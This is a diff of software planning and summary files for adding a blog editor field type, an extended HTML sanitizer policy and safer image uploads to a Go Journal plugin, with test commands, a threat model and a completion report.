<automated>go -C ../sm-journal-plugin vet ./... && go -C ../sm-journal-plugin test -count=1 -run '^(TestEditorOutputPassesPolicy|TestSanitizeHTMLReport|TestFormatHTMLSanitizesUnsafeHTML|TestFormatHTMLDuplicateAttributes|TestFormatHTMLKeepsRawHTML|TestSanitizeHTML|TestCheckHTML)$' -v ./classes/ 2>&1 | grep -c '^--- PASS: Test' | grep -qx 7</automated>
|
||||
<fails_when>Non-zero exit: vet fails, or fewer than seven "--- PASS: Test" lines: a corpus entry is changed by the policy (an editor attribute is still stripped), a negative case is no longer stripped (the extension is too wide), the report disagrees with the output, or an existing FormatHTML, SanitizeHTML or CheckHTML test regressed.</fails_when>
|
||||
<automated>go -C ../sm-journal-plugin test -count=1 ./classes/ ./controllers/... && go -C ../sm-journal-plugin test -count=1 -run '^(TestBlogEditorTracerSmoke|TestBlogEditorUploadSmoke)$' -v ./controllers/ 2>&1 | grep -c '^--- PASS: TestBlogEditor' | grep -qx 2</automated>
|
||||
<fails_when>Non-zero exit or fewer than two "--- PASS: TestBlogEditor" lines: a classes or controllers test fails, or the placeholder no longer passes Decode unchanged.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `grep -n "data-embed" ../sm-journal-plugin/classes/format_html.go` and `grep -n "editor-corpus.json" ../sm-journal-plugin/classes/editor_policy_test.go` each print at least one line.
|
||||
- `grep -n "func TestEditorOutputPassesPolicy" ../sm-journal-plugin/classes/editor_policy_test.go` and `grep -n "func TestSanitizeHTMLReport" ../sm-journal-plugin/classes/editor_policy_test.go` each print one line.
|
||||
- `grep -n "SanitizeHTMLReport" ../sm-journal-plugin/README.md` prints at least one line.
|
||||
- `grep -n "Phase 16.2" .planning/notes/journal-html-sanitizing-bluemonday.md` prints at least one line and the note names figure data-embed, data-id, img alt and ol start.
|
||||
- `git -C ../sm-journal-plugin diff --quiet c60abc6 -- classes/format_html_test.go classes/check_html_test.go` exits 0 (the existing policy tests are not weakened).
|
||||
</acceptance_criteria>
|
||||
<done>The policy keeps every piece of markup the editor writes, still strips everything else it stripped before, and the corpus test fails the moment the editor's output and the policy drift apart.</done>
|
||||
</task>
|
||||
|
||||
</tasks>
|
||||
|
||||
<threat_model>
|
||||
## Trust Boundaries
|
||||
|
||||
| Boundary | Description |
|
||||
|----------|-------------|
|
||||
| admin save body → Journal Decode | every locale's content value crosses here (through cabana) |
|
||||
| editor upload → media bucket | user files become public URLs under /storage/app/uploads/public |
|
||||
| Journal public API clients → posts and media routes | contract must not change (D-09) |
|
||||
|
||||
## STRIDE Threat Register
|
||||
|
||||
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|
||||
|-----------|----------|-----------|----------|-------------|-----------------|
|
||||
| T-16.2-14 | Tampering (stored XSS) | decodeBlogHTML (posts and categories) | high | mitigate | SanitizeHTMLReport on every locale value cabana decodes (default and non-default), for post and category content alike; the stored value is always the policy's output, never submitted bytes the policy would change; the removal is reported to the admin (no silent loss), and the layer sanitizes again before v-html; smoke and Postgres tests cover script, onerror, onclick and javascript: being stripped with notices and clean HTML staying byte for byte |
|
||||
| T-16.2-31 | Tampering (stored XSS) | newHTMLPolicy editor-output extension | high | mitigate | Exactly four additions with the narrowest patterns (figure data-embed ^youtube$, figure data-id ^[A-Za-z0-9_-]{11}$, img alt as an escaped attribute value, ol start ^[0-9]+$); no iframe, URL, style, event or blanket data attribute; TestEditorOutputPassesPolicy pins the corpus and the negative cases, the 35 existing payload tests stay unchanged (diff check against c60abc6), and the iframe exists only in the layer's rendered page (D-05) |
|
||||
| T-16.2-34 | Denial of Service | SanitizeHTMLReport and removal notices | low | mitigate | One pass over two token streams; at most 10 names per list with exact counts, so a body with thousands of removed parts yields at most four short notices (cabana also caps notices, T-16.2-33) |
|
||||
| T-16.2-15 | Tampering / Elevation | uploadBlogImage | high | mitigate | Extension allowlist without svg, http.DetectContentType magic-byte check for jpeg, png, gif and webp, 10240 KiB cap in StoreMedia plus cabana's upload cap; nginx serves the storage path with nosniff |
|
||||
| T-16.2-16 | Tampering | upload keys | medium | mitigate | uploadFolder validated at boot by the existing folder rule (no ..), safeUploadName limits the base name to a-z, 0-9, dot, underscore, hyphen; uniqueMediaKey never overwrites an existing object |
|
||||
| T-16.2-17 | Repudiation / contract | public posts and media routes | medium | mitigate | posts_helpers.go untouched (FormatHTML stays on the API path); UploadMedia keeps its response body and messages; the existing api tests keep passing |
|
||||
| T-16.2-18 | Information Disclosure | content_html companion writes | low | mitigate | Only values cabana reports as written are copied, to the same record and locale, inside the save transaction |
|
||||
| T-16.2-SC | Tampering | npm/pip/cargo installs | high | mitigate | No package is installed; gocloud.dev/blob/memblob is part of the existing gocloud.dev requirement and is used in tests only |
|
||||
</threat_model>
|
||||
|
||||
<verification>
|
||||
- Task 1: go vet, TestBlogEditorTracerSmoke, the classes and controllers packages, the FormatHTML, SanitizeHTML and CheckHTML tests pass.
|
||||
- Task 2: go vet, both TestBlogEditor smoke tests, the classes and controllers packages pass; the categories gate is gone.
|
||||
- Task 3: the corpus cross-check, the report tests and every existing policy test pass.
|
||||
- The root-package Postgres tests (TestPostsFormCompiles, TestPostsAdminCreateSmoke, TestPostsAdminResaveKeepsHTML, TestPostsAdminSaveSanitizesHTML, TestCategoriesAdminContent) compile and run on a Docker host before the release (plan 05 docker-first option) or before /msd-verify-work.
|
||||
</verification>
|
||||
|
||||
<success_criteria>
|
||||
- Post content on mlblogeditor and category content on blogeditor, both stripped by the shared policy per locale with a removal report; no admin save fails because of markup.
|
||||
- Admin saves store the same sanitized HTML in both columns per written locale and leave untouched content byte-identical; the public API is unchanged.
|
||||
- The policy admits exactly the editor's own output (corpus test) and nothing more.
|
||||
- Editor uploads use the shared media storage with a magic-byte check.
|
||||
</success_criteria>
|
||||
|
||||
<output>
|
||||
Create `.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-03-SUMMARY.md` when done, with the commit hashes, the smoke test output and the list of Postgres tests that still need a Docker host.
|
||||
</output>
|
||||
@@ -0,0 +1,272 @@
|
||||
---
|
||||
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
|
||||
plan: 03
|
||||
subsystem: journal-admin
|
||||
tags: [sm-journal-plugin, field-types, blog-editor, bluemonday, sanitizing, uploads, cabana]
|
||||
|
||||
requires:
|
||||
- phase: 16.2-01
|
||||
provides: pact field type API (FormFieldType with ListValue(ctx, value), FormFieldDecoded, FormFieldNotice, FormFieldUpload, FormFieldError), cabana FieldWritesFromContext, WithFieldWrites, TxFromContext, CompileFormWithTypes, TranslationWriter
|
||||
- phase: 16.2-02
|
||||
provides: golem15-journal-blogeditor element, assets/dist/blogeditor.js and .css in adminFS, tests/blogeditor/fixtures/editor-corpus.json
|
||||
provides:
|
||||
- blogeditor and mlblogeditor field types on the Journal plugin (journal.Plugin.FormFieldTypes, classes.BlogEditorTypes, classes.BlogEditorElement, classes.LooksLikeHTML)
|
||||
- classes.SanitizeHTMLReport and classes.HTMLRemovals (removal report behind the admin notices); SanitizeHTML is its string half
|
||||
- newHTMLPolicy editor-output extension (figure data-embed/data-id, img alt, ol start)
|
||||
- classes.StoreMedia, StoredMedia, MediaError, MediaMaxBytes, MediaFolderPattern shared by the public upload route and the editor upload
|
||||
- postsAdminController FormAfterCreate/FormAfterUpdate writing content_html per written locale
|
||||
- editor lang keys (content_invalid, image_invalid, upload_failed, removed_elements, removed_attributes, removed_comments, markup_changed) in en and pl
|
||||
affects: [16.2-04, 16.2-05, 16.2-06, journal]
|
||||
|
||||
actuals:
|
||||
tokens: 20600
|
||||
tasks: 3
|
||||
commits: 5
|
||||
plan_head_before: 086e485215f69bd8a78f61fb1d5e69b2246366cd
|
||||
plan_head_after: 2384a61e38f10afa522f38f8180cb62a32a9d9c0
|
||||
commits_repo: ../sm-journal-plugin
|
||||
docs_commits: [332993c]
|
||||
|
||||
tech-stack:
|
||||
added: []
|
||||
patterns:
|
||||
- "Removal report by in-order start-tag alignment: greedy match on an attribute-compatible output tag, falling back to element-name alignment; Other covers any change nothing else explains, so the report is empty exactly when the output equals the input"
|
||||
- "Companion column through Form hooks: FieldWritesFromContext Default write to the host column in FormBefore*, non-default writes through the TranslationWriter in FormAfter*"
|
||||
- "Policy pinned by the editor's own corpus: every corpus entry must survive byte for byte with an empty report"
|
||||
|
||||
key-files:
|
||||
created:
|
||||
- ../sm-journal-plugin/classes/blog_editor.go
|
||||
- ../sm-journal-plugin/classes/media_store.go
|
||||
- ../sm-journal-plugin/classes/media_store_test.go
|
||||
- ../sm-journal-plugin/classes/editor_policy_test.go
|
||||
- ../sm-journal-plugin/field_types.go
|
||||
- ../sm-journal-plugin/controllers/posts_editor_smoke_test.go
|
||||
modified:
|
||||
- ../sm-journal-plugin/classes/format_html.go
|
||||
- ../sm-journal-plugin/controllers/posts.go
|
||||
- ../sm-journal-plugin/controllers/admin_registry.go
|
||||
- ../sm-journal-plugin/controllers/categories.go
|
||||
- ../sm-journal-plugin/controllers/api/media.go
|
||||
- ../sm-journal-plugin/controllers/api/media_test.go
|
||||
- ../sm-journal-plugin/models/post/fields.yaml
|
||||
- ../sm-journal-plugin/models/category/fields.yaml
|
||||
- ../sm-journal-plugin/lang/en/lang.yaml
|
||||
- ../sm-journal-plugin/lang/pl/lang.yaml
|
||||
- ../sm-journal-plugin/posts_admin_smoke_test.go
|
||||
- ../sm-journal-plugin/journal_api_categories_test.go
|
||||
- ../sm-journal-plugin/README.md
|
||||
- .planning/notes/journal-html-sanitizing-bluemonday.md
|
||||
|
||||
key-decisions:
|
||||
- "The policy needed exactly the four planned editor-output rules: a probe of the 15-entry corpus against the pre-change policy showed only figure data-embed/data-id, img alt and ol start being stripped; no fifth rule"
|
||||
- "Editor upload: the sniffed type must be JPEG, PNG, GIF or WebP and must match an allowed extension; a name without an extension gets the sniffed one; a disallowed extension reaches StoreMedia's 'The file must be an image.'"
|
||||
- "uniqueMediaKey fails instead of overwriting when all 999 numbered names are taken (the old code returned the original path); StoreMedia also checks the folder rule itself"
|
||||
- "Load without a translation writer (Translated nil) serves FormatHTML(content) for a markdown value"
|
||||
- "Removal notices end a cut name list with ', …'; HTMLRemovals keeps unexported cut flags"
|
||||
|
||||
patterns-established:
|
||||
- "A plugin field type's Decode reports changes as notices and never refuses on content it can repair"
|
||||
|
||||
requirements-completed: [D-02, D-03, D-04, D-05, D-06, D-07, D-08, D-09, D-10, D-14, D-18, D-19]
|
||||
|
||||
coverage:
|
||||
- id: D1
|
||||
description: "Post content compiles as mlblogeditor (element, translatable, htmlColumn, uploadFolder; assets exist); Decode keeps clean HTML and the embed placeholder byte for byte with no notice, strips script/onerror with two notices, nil to '', refuses a number; Load serves HTML as stored, markdown as content_html or FormatHTML; ListValue; hooks write content_html per written locale and leave untouched content alone; en/pl plural phrases"
|
||||
requirement: D-08
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "../sm-journal-plugin/controllers/posts_editor_smoke_test.go#TestBlogEditorTracerSmoke"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D2
|
||||
description: "SanitizeHTMLReport: elements, attributes (repeats and changed style), comments, Other, ten-name cut with exact counts; Empty exactly when the output equals the input for every unsafe payload, the imported-post fixture and every corpus entry"
|
||||
requirement: D-10
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "../sm-journal-plugin/classes/editor_policy_test.go#TestSanitizeHTMLReport"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D3
|
||||
description: "Policy admits every editor-corpus entry byte for byte (empty report, nil CheckHTML) and the placeholder through FormatHTML; other providers, malformed ids, data attributes on other elements, other data-* on figure, onload, iframe, non-numeric start and start on ul are still stripped; the 35 unsafe payloads and the CheckHTML table are unchanged (diff against c60abc6 empty)"
|
||||
requirement: D-05
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "../sm-journal-plugin/classes/editor_policy_test.go#TestEditorOutputPassesPolicy"
|
||||
status: pass
|
||||
- kind: unit
|
||||
ref: "../sm-journal-plugin/classes/format_html_test.go#TestFormatHTMLSanitizesUnsafeHTML"
|
||||
status: pass
|
||||
- kind: unit
|
||||
ref: "../sm-journal-plugin/classes/check_html_test.go#TestCheckHTML"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D4
|
||||
description: "StoreMedia keeps the public route's key layout, unique suffix, URL, extension list and size message; editor Upload sniffs the type, uses safe lowercase names and the field's uploadFolder, refuses html/svg/mismatched types, maps MediaError to FormFieldError and a missing bucket to an opaque error; the route's error bodies are unchanged"
|
||||
requirement: D-18
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "../sm-journal-plugin/controllers/posts_editor_smoke_test.go#TestBlogEditorUploadSmoke"
|
||||
status: pass
|
||||
- kind: unit
|
||||
ref: "../sm-journal-plugin/controllers/api/media_test.go#TestWriteMediaStoreError"
|
||||
status: pass
|
||||
- kind: unit
|
||||
ref: "../sm-journal-plugin/classes/media_store_test.go#TestMediaObjectPath"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D5
|
||||
description: "Category content compiles as blogeditor, Load serves the stored *string, Decode strips onclick with a notice, the hooks map blank to NULL and accept any other content (422 retired)"
|
||||
requirement: D-19
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "../sm-journal-plugin/controllers/posts_editor_smoke_test.go#TestBlogEditorUploadSmoke"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D6
|
||||
description: "Public posts API and route table unchanged since c60abc6 (D-09)"
|
||||
requirement: D-09
|
||||
verification:
|
||||
- kind: other
|
||||
ref: "git -C ../sm-journal-plugin diff --quiet c60abc6 -- controllers/api/posts_helpers.go controllers/api/posts.go routes.go"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D7
|
||||
description: "Postgres-backed admin saves and the media route: TestPostsFormCompiles, TestPostsAdminCreateSmoke, TestPostsAdminResaveKeepsHTML, TestPostsAdminSaveSanitizesHTML, TestCategoriesAdminContent, journal_api_task3_test.go media upload, plugin boot with the field types"
|
||||
verification: []
|
||||
human_judgment: true
|
||||
rationale: "No Docker on this host (docker.sock permission denied); the tests compile under go vet and run on a Docker host in plan 06"
|
||||
|
||||
duration: 13min
|
||||
completed: 2026-10-10
|
||||
status: complete
|
||||
---
|
||||
|
||||
# Phase 16.2 Plan 03: Journal Blog Editor integration Summary
|
||||
|
||||
**Journal post content (mlblogeditor) and category content (blogeditor) are edited with the Blog Editor; every admin save stores bluemonday's output per locale, byte for byte when nothing is unsafe, writes the same HTML to content and content_html without goldmark, and names what it removed through SanitizeHTMLReport notices; the policy admits exactly the editor's four extra attributes, pinned by the editor corpus, and editor images go through the extracted StoreMedia with a magic-byte check.**
|
||||
|
||||
## Performance
|
||||
|
||||
- **Duration:** about 13 min
|
||||
- **Started:** 2026-10-10T09:58:55Z
|
||||
- **Completed:** 2026-10-10T10:12Z
|
||||
- **Tasks:** 3 (tracer + 2 TDD expansions)
|
||||
- **Files:** 20 in sm-journal-plugin (6 created, 14 modified), 1 decision note in summercms.go
|
||||
|
||||
## Accomplishments
|
||||
|
||||
- **Removal report (D-10 amended):** `SanitizeHTMLReport(doc) (string, HTMLRemovals)` aligns the input's start tags with bluemonday's output in order; unmatched tags are removed elements, missing, repeated or changed attributes are removed attributes (a `style` that lost a property counts under `style`), comments are counted, `Other` covers anything else. At most ten distinct names per list, exact counts. `SanitizeHTML` is its string half; `FormatHTML`, `FormatTranslation` and `CheckHTML` keep their behaviour.
|
||||
- **Field types (D-08, D-14):** `classes.BlogEditorTypes` returns `blogeditor` (uploadFolder) and `mlblogeditor` (htmlColumn, uploadFolder) on `golem15-journal-blogeditor` with the plan 02 bundle; `journal.Plugin.FormFieldTypes` registers them. `checkBlogOptions` checks the options at boot.
|
||||
- **Decode / Load / ListValue (D-04, D-07, D-10):** Decode returns the policy output plus `removed_elements`, `removed_attributes`, `removed_comments` and `markup_changed` notices; nil is `""`, a non-string is a `FormFieldError` (`content_invalid`). Load serves HTML as stored and markdown (`LooksLikeHTML` false) as that locale's `content_html`, else `FormatHTML(content)`. ListValue (ctx form) strips tags and cuts at 120 runes.
|
||||
- **Admin save path (D-02, D-03):** `preparePostWrite` no longer calls goldmark; it copies the Default `content` write to `ContentHTML`. New `FormAfterCreate`/`FormAfterUpdate` write `content_html` for each non-default written locale through the `TranslationWriter` in the save transaction. Untouched content is not written, so both columns stay byte-identical.
|
||||
- **Categories (D-19 amended):** `content` is `blogeditor` with `uploadFolder: categories`; the `CheckHTML` 422 gate is gone, blank still becomes NULL; the field comment (en, pl) says unsafe HTML is removed on save.
|
||||
- **Media (D-18, D-09):** `classes.StoreMedia` holds the public route's storage (extensions, 10240 KiB, `/journal/<folder>/<name>`, unique suffix, `attach.PublicURL`); `UploadMedia` keeps auth, permissions, folder and form checks and the same bodies. The editor `Upload` sniffs the first 512 bytes (`http.DetectContentType`), requires a matching JPEG/PNG/GIF/WebP type, builds a safe lowercase name and stores in the field's folder (`editor` by default).
|
||||
- **Policy (D-05 amended):** `figure` `data-embed` `^youtube$` and `data-id` `^[A-Za-z0-9_-]{11}$`, `img` `alt` any text, `ol` `start` `^[0-9]+$`; nothing else. `CheckHTML` documented as a predicate no write path refuses with.
|
||||
- **Docs:** plugin README (field types, admin save rules, category rule, unchanged public API, editor uploads, the four policy rules, API reference rows); decision note amendment with the four table rows (summercms.go `332993c`).
|
||||
|
||||
## Task Commits
|
||||
|
||||
All code commits are in `../sm-journal-plugin` (branch main):
|
||||
|
||||
1. **Task 1: tracer** - `cbf4891` feat(classes): report what the HTML policy removes; `fbd1c85` feat(admin): post content on the Blog Editor field type
|
||||
2. **Task 2: categories, uploads, README** - `15fcad7` refactor(api): share media storage with the editor upload; `cb1c688` feat(admin): category content on the Blog Editor and editor image uploads
|
||||
3. **Task 3: policy extension** - `2384a61` feat(classes): allow the Blog Editor's own markup in the HTML policy; summercms.go `332993c` docs(16.2): record the editor-output policy extension
|
||||
|
||||
## Smoke test output
|
||||
|
||||
```
|
||||
--- PASS: TestBlogEditorTracerSmoke (13 subtests: compile, type definitions, decode clean, decode placeholder,
|
||||
decode strip with notices, decode nil/non-string, load HTML, load markdown content_html, load FormatHTML fallback,
|
||||
list value, hooks write content_html, hooks leave untouched content, plural phrases)
|
||||
--- PASS: TestBlogEditorUploadSmoke (9 subtests: StoreMedia layout, StoreMedia refusals, editor upload safe name,
|
||||
editor upload refusals, missing bucket, category compile, category load, category decode, category hooks)
|
||||
--- PASS: TestEditorOutputPassesPolicy (15 corpus entries, placeholder, 18 strip cases, alt, ol start)
|
||||
--- PASS: TestSanitizeHTMLReport
|
||||
--- PASS: TestFormatHTMLSanitizesUnsafeHTML, TestFormatHTMLDuplicateAttributes, TestFormatHTMLKeepsRawHTML,
|
||||
TestSanitizeHTML, TestCheckHTML (unchanged since c60abc6)
|
||||
--- PASS: TestWriteMediaStoreError, TestMediaObjectPath, TestMediaFolderPatternRejectsDotDot
|
||||
```
|
||||
|
||||
- `go -C ../sm-journal-plugin vet ./...` clean (compiles the updated Postgres tests).
|
||||
- `go test -short ./...`: `classes`, `controllers`, `controllers/api` pass; the root package, `models` and `updates` fail only on `docker.sock: permission denied`.
|
||||
- `npx vitest run` 33/33 and `scripts/check-dist.sh` ("assets/dist matches a fresh build") still pass.
|
||||
|
||||
## Postgres tests that need a Docker host (plan 06)
|
||||
|
||||
- `posts_admin_smoke_test.go`: `TestPostsFormCompiles` (expects `"type":"mlblogeditor"`), `TestPostsAdminCreateSmoke` (HTML content, `ContentHTML == Content`, no `meta.notices`), `TestPostsAdminResaveKeepsHTML` (exact bytes), `TestPostsAdminSaveSanitizesHTML` (save succeeds, both columns sanitized for en host and pl translation, notices name `a, base` and `onerror` per locale).
|
||||
- `journal_api_categories_test.go`: `TestCategoriesAdminContent` (schema type `blogeditor`, "unsafe create stripped" 201 + `<p>x</p>` + onclick notice, "unsafe update stripped" 200 + `x` + `a` notice, safe create without notices).
|
||||
- `journal_api_task3_test.go` media upload tests (the route now runs through `StoreMedia`), `plugin_test.go`, and a full plugin boot with `FormFieldTypes` (cabana's boot-time asset and alias checks against the embedded `adminFS`).
|
||||
|
||||
## TDD Gate Compliance
|
||||
|
||||
Tasks 2 and 3 are `tdd="true"`. CLAUDE.md requires `go test ./...` green at every commit, so no failing `test(...)` commit exists; as in plans 01 and 02, RED was run and verified before GREEN and tests were committed with the implementation.
|
||||
|
||||
- **Task 2 RED:** compile stubs for `StoreMedia` and the moved helpers, then `TestBlogEditorUploadSmoke` failed on its assertions (`not implemented`, "blogeditor has no Upload") and `TestMediaObjectPath` on its path assertion. `go test -json` was converted to TAP and checked: `msd_run check tdd-red-evidence` returned `RED_EVIDENCE_OK` (`target_test_failed`, target `TestBlogEditorUploadSmoke`). The category subtests were masked by the parent's fatal at RED time; the category schema and hook subtests then failed (type `textarea`, `validation_failed`) after Upload went green and before the category change, and passed after it.
|
||||
- **Task 3 RED:** `TestEditorOutputPassesPolicy` failed on 18 subtests (corpus entries with the embed, alt and start; placeholder; the negative cases, whose `want` keeps the placeholder) before the policy change: `RED_EVIDENCE_OK`, target `TestEditorOutputPassesPolicy`. `TestSanitizeHTMLReport` was already green because the report shipped in the Task 1 tracer.
|
||||
- **GREEN:** the implementation commits listed above; no refactor commit was needed.
|
||||
|
||||
## Decisions Made
|
||||
|
||||
See key-decisions in the frontmatter.
|
||||
|
||||
## Deviations from Plan
|
||||
|
||||
### Auto-fixed Issues
|
||||
|
||||
**1. [Plan text] Host and translation locales in TestPostsAdminSaveSanitizesHTML**
|
||||
- **Found during:** Task 1
|
||||
- **Issue:** The plan says "pl (host) and en (translation)", but the test harness (`bootJournal`) makes `en` the default locale and `pl` the translation.
|
||||
- **Fix:** The test asserts the host columns for `en` and `golem15_translate_attributes` for `pl`, and notices for both locales.
|
||||
- **Files modified:** posts_admin_smoke_test.go
|
||||
- **Commit:** fbd1c85
|
||||
|
||||
**2. [Rule 2 - Security] uniqueMediaKey no longer overwrites**
|
||||
- **Found during:** Task 2
|
||||
- **Issue:** The moved `uniqueMediaKey` returned the original (existing) path when all 999 numbered names were taken, so a write would overwrite an object; the threat model (T-16.2-16) requires that it never overwrites.
|
||||
- **Fix:** It returns an error instead (a 500 on the public route in that pathological case only). `StoreMedia` also re-checks the folder rule (MediaError on `folder`), which the route already enforces first, so no response changes.
|
||||
- **Files modified:** classes/media_store.go
|
||||
- **Commit:** 15fcad7
|
||||
|
||||
**3. [Rule 2 - Correctness] Editor upload type must match its extension**
|
||||
- **Found during:** Task 2
|
||||
- **Issue:** The plan's "first bytes sniff as that image type" needs a rule for names whose extension disagrees with the bytes, or that have none.
|
||||
- **Fix:** A sniffed type outside JPEG/PNG/GIF/WebP, or one that differs from an allowed extension's type, is `image_invalid`; a name without an extension gets the sniffed one; a disallowed extension gets StoreMedia's "The file must be an image." `safeUploadName` also trims leading and trailing `-` and `.` (no hidden or dot-only names).
|
||||
- **Files modified:** classes/blog_editor.go
|
||||
- **Commit:** cb1c688
|
||||
|
||||
**4. [Rule 2 - Correctness] Category field comment**
|
||||
- **Found during:** Task 2
|
||||
- **Issue:** `category.content_comment` (en, pl) told administrators unsafe HTML "is refused", which is no longer true.
|
||||
- **Fix:** It now says unsafe HTML is removed on save and the form names what was removed.
|
||||
- **Files modified:** lang/en/lang.yaml, lang/pl/lang.yaml
|
||||
- **Commit:** cb1c688
|
||||
|
||||
**5. Files and shapes outside the plan's lists**
|
||||
- `controllers/admin_registry.go` holds the new `pact.FormAfterCreate`/`pact.FormAfterUpdate` assertions next to the controller's other compile-time assertions (commit fbd1c85).
|
||||
- `controllers/api/media_test.go` now holds `TestWriteMediaStoreError` (the route's 422 and 500 bodies after the move); the two path tests moved to `classes/media_store_test.go` as planned.
|
||||
- `HTMLRemovals` carries two unexported flags recording that a name list was cut, so `removalNotices` can append `, …`.
|
||||
- Task 2 committed the refactor (`15fcad7`) before the feature (`cb1c688`) so that each commit builds on its own.
|
||||
- `loadBlogHTML` serves `FormatHTML(content)` when no translation writer is published (`Translated` is nil), and serves blank content as it is.
|
||||
|
||||
---
|
||||
|
||||
**Total deviations:** 4 auto-fixed (1 plan text, 3 correctness/security) plus file and ordering notes. **Impact:** no change to the planned API, the public routes' contract or the four policy rules.
|
||||
|
||||
## Issues Encountered
|
||||
|
||||
- No Docker on this host: the Postgres tests listed above compile but did not run (recorded in `.planning/WINDOWS.md` as unrun-verify entries 15 and 16).
|
||||
|
||||
## Known Stubs
|
||||
|
||||
None.
|
||||
|
||||
## Next Phase Readiness
|
||||
|
||||
- Plan 04 mirrors the same four policy rules in the layer and checks the same `editor-corpus.json`; no fifth rule was needed.
|
||||
- Plan 05/06: run the Docker-only tests above, then the browser UAT of the editor in the admin (typing, uploads through the cabana route, notices after a stripped save).
|
||||
|
||||
## Self-Check: PASSED
|
||||
|
||||
- Created files exist in ../sm-journal-plugin: classes/blog_editor.go, classes/media_store.go, classes/media_store_test.go, classes/editor_policy_test.go, field_types.go, controllers/posts_editor_smoke_test.go.
|
||||
- Commits exist in ../sm-journal-plugin: cbf4891, fbd1c85, 15fcad7, cb1c688, 2384a61; in summercms.go: 332993c.
|
||||
@@ -0,0 +1,278 @@
|
||||
---
|
||||
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
|
||||
plan: 04
|
||||
type: execute
|
||||
wave: 2
|
||||
depends_on: ["16.2-02"]
|
||||
coupling_justified: ["16.2-03: both plans add the same four editor-output rules (figure data-embed ^youtube$ and data-id ^[A-Za-z0-9_-]{11}$, img alt any text, ol start integer), each in its own repository; the set is fixed in both plans' text and checked against the same plan 02 corpus, neither plan reads the other's files, and either one stops and reports if the corpus needs a fifth rule, so both execution orders give matching policies"]
|
||||
files_modified:
|
||||
- ../vue-journal-layer/app/utils/embeds.ts
|
||||
- ../vue-journal-layer/app/utils/htmlGate.ts
|
||||
- ../vue-journal-layer/tests/htmlGate.test.ts
|
||||
- ../vue-journal-layer/tests/fixtures/editor-corpus.json
|
||||
- ../vue-journal-layer/docs/decisions/0001-sanitize-html.md
|
||||
- ../vue-journal-layer/app/components/Journal/PostBody.vue
|
||||
- ../vue-journal-layer/app/components/Journal/CategoryHeader.vue
|
||||
- ../vue-journal-layer/app/assets/css/journal-base.css
|
||||
- ../vue-journal-layer/tests/embeds.test.ts
|
||||
- ../vue-journal-layer/testing/fixtures/acme/posts.json
|
||||
- ../vue-journal-layer/testing/expect-acme.txt
|
||||
- ../vue-journal-layer/README.md
|
||||
- ../vue-journal-layer/package.json
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/pnpm-lock.yaml
|
||||
autonomous: false
|
||||
requirements: [D-05, D-17]
|
||||
estimate:
|
||||
tokens: 55000
|
||||
raw_tokens: 55000
|
||||
tasks: 3
|
||||
confidence: low
|
||||
must_haves:
|
||||
truths:
|
||||
- "D-17 and D-05: JournalPostBody and JournalCategoryHeader render expandEmbeds(sanitizeJournalHtml(html)): the sanitizer runs first at the v-html sink and expansion is the very last step, so the iframe it builds is never passed through a sanitizer that would strip it; the payload transforms (toPostView, the category page) only sanitize and keep the placeholder; only an exact <figure data-embed=\"youtube\" data-id=\"ID\"></figure> with an 11-character id from [A-Za-z0-9_-] becomes <figure class=\"journal-embed journal-embed--youtube\"> holding an iframe on https://www.youtube-nocookie.com/embed/ID; any other figure, provider or id stays unchanged and inert."
|
||||
- "D-05 (amended): htmlGate.ts mirrors plan 03's Go policy extension exactly (figure data-embed ^youtube$ and data-id ^[A-Za-z0-9_-]{11}$, img alt with any text, ol start integer) and nothing more; every entry of tests/fixtures/editor-corpus.json, a byte copy of plan 02's corpus, is safe under gateJournalHtml, and the placeholder survives sanitizeJournalHtml twice (payload, then sink) before it expands."
|
||||
- "D-05: a raw iframe in stored HTML is stripped by sanitizeJournalHtml before expansion (the rest of the body renders, no iframe comes from stored markup)."
|
||||
- "D-17: the built playground server, run with testing/smoke-ssr.mjs against the acme fixtures, renders the youtube-nocookie iframe for the fixture post that carries a placeholder."
|
||||
- "D-17: vue-journal-layer v0.2.0 is an annotated tag on origin, scripts/check-git-install.sh v0.2.0 passes, and vue-grzybyfunkcjonalne-app main pins git+https://git.golem15.com/golem15/vue-journal-layer.git#v0.2.0 with a pnpm-lock.yaml that resolves to the tag's commit, builds and passes its tests."
|
||||
artifacts:
|
||||
- path: "../vue-journal-layer/app/utils/embeds.ts"
|
||||
provides: "expandEmbeds and the provider allowlist"
|
||||
contains: "youtube-nocookie.com/embed/"
|
||||
- path: "../vue-journal-layer/app/utils/htmlGate.ts"
|
||||
provides: "the sanitize-html mirror with the editor-output extension"
|
||||
contains: "data-embed"
|
||||
- path: "../vue-journal-layer/tests/fixtures/editor-corpus.json"
|
||||
provides: "byte copy of the Blog Editor's output corpus (plan 02)"
|
||||
contains: "data-embed"
|
||||
- path: "../vue-journal-layer/tests/embeds.test.ts"
|
||||
provides: "node:test smoke of the transform and the gate order"
|
||||
contains: "expandEmbeds"
|
||||
- path: "../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json"
|
||||
provides: "layer pin"
|
||||
contains: "vue-journal-layer.git#v0.2.0"
|
||||
key_links:
|
||||
- from: "../vue-journal-layer/app/components/Journal/PostBody.vue"
|
||||
to: "../vue-journal-layer/app/utils/embeds.ts expandEmbeds"
|
||||
via: "v-html of expandEmbeds(sanitizeJournalHtml(html)), expansion last"
|
||||
pattern: "expandEmbeds"
|
||||
- from: "../vue-journal-layer/tests/fixtures/editor-corpus.json"
|
||||
to: "../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json"
|
||||
